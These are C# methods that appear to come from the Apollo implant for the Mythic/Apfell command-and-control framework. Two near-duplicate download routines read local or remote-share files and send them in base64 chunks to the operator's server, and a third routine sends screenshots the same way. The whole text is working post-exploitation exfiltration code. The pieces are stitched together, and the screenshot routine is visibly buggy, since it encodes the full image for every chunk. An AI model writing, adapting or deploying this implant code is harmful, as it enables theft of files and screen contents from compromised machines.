/// <summary> /// Download a file to the remote Apfell server. /// </summary> /// <param name="job"> /// Job associated with this task. /// File to download is in job.Task.parameters /// </param> /// <param name="implant">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; DownloadParameters dlParams; string filepath = ""; string host = ""; string computerName = ""; try { computerName = Environment.GetEnvironmentVariable("COMPUTERNAME"); } catch { } try { dlParams = JsonConvert.DeserializeObject <DownloadParameters>(task.parameters); } catch (Exception ex) { job.SetError($"Failed to deserialize "); return; } host = dlParams.host; if (host != "") { if (host.ToLower() != "localhost" && host != "127.0.0.1" && host != "." && host != "::::" && host.ToLower() != computerName.ToLower()) { filepath = $"\\\\{host}\\{dlParams.file}"; } else { filepath = dlParams.file; host = computerName; } } else { filepath = dlParams.file; host = computerName; } try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = total_chunks, full_path = fileInfo.FullName, host = host }; job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString())); return; } // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk ApolloTaskResponse fc = new ApolloTaskResponse() { chunk_num = i + 1, file_id = resp.file_id, task_id = job.Task.id, chunk_data = Convert.ToBase64String(chunk), total_chunks = -1 }; job.AddOutput(fc); } job.SetComplete($"Finished downloading file {filepath}"); } catch (Exception e) // Catch any exception from file upload { job.SetError($"Exception occurred while downloading file: {e.Message}"); } }
/// <summary> /// Send a chunked screenshot response to the Apfell server. /// </summary> /// <param name="implant">Agent that will be sending the data.</param> /// <param name="task">Task associated with the screenshot.</param> /// <param name="screenshot">Byte array of data that holds a chunked screenshot response.</param> private static void SendCapture(Agent implant, Job job, byte[] screenshot) { Task task = job.Task; try // Try block for HTTP request { // Send total number of chunks to Apfell server // Number of chunks will always be one for screen capture task // Receive file ID in response // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with int totalChunks = (int)Math.Ceiling((double)screenshot.Length / (double)implant.Profile.ChunkSize); ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = totalChunks, full_path = task.id }; //SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}"); job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was: {0}", resp.ToString())); return; } // Convert chunk to base64 blob and create our FileChunk for (int i = 0; i < totalChunks; i++) { ApolloTaskResponse fc = new ApolloTaskResponse(); fc.chunk_num = i + 1; fc.file_id = resp.file_id; fc.total_chunks = -1; byte[] screenshotChunk = new byte[implant.Profile.ChunkSize]; if (implant.Profile.ChunkSize > screenshot.Length - (i * implant.Profile.ChunkSize)) { Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, screenshot.Length - (i * implant.Profile.ChunkSize)); } else { Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, implant.Profile.ChunkSize); } fc.chunk_data = Convert.ToBase64String(screenshot); fc.task_id = task.id; job.AddOutput(fc); Inbox.GetMessage(task.id); //Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.Profile.SendResponse(response)}"); } } catch (Exception e) // Catch exceptions from HTTP requests { // Something failed, so we need to tell the server about it job.SetError($"Error: {e.Message}"); } }
/// <summary> /// Download a file to the remote Apfell server. /// </summary> /// <param name="job"> /// Job associated with this task. /// File to download is in job.Task.parameters /// </param> /// <param name="implant">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string filepath = task.parameters.Trim(); string strReply; bool uploadResponse; if (filepath[0] == '"' && filepath[filepath.Length - 1] == '"') { filepath = filepath.Substring(1, filepath.Length - 2); } else if (filepath[0] == '\'' && filepath[filepath.Length - 1] == '\'') { filepath = filepath.Substring(1, filepath.Length - 2); } try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = total_chunks, full_path = fileInfo.FullName }; job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString())); return; } // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk ApolloTaskResponse fc = new ApolloTaskResponse() { chunk_num = i + 1, file_id = resp.file_id, task_id = job.Task.id, chunk_data = Convert.ToBase64String(chunk), total_chunks = -1 }; job.AddOutput(fc); } job.SetComplete($"Finished downloading file {filepath}"); } catch (Exception e) // Catch any exception from file upload { job.SetError($"Exception occurred while downloading file: {e.Message}"); } }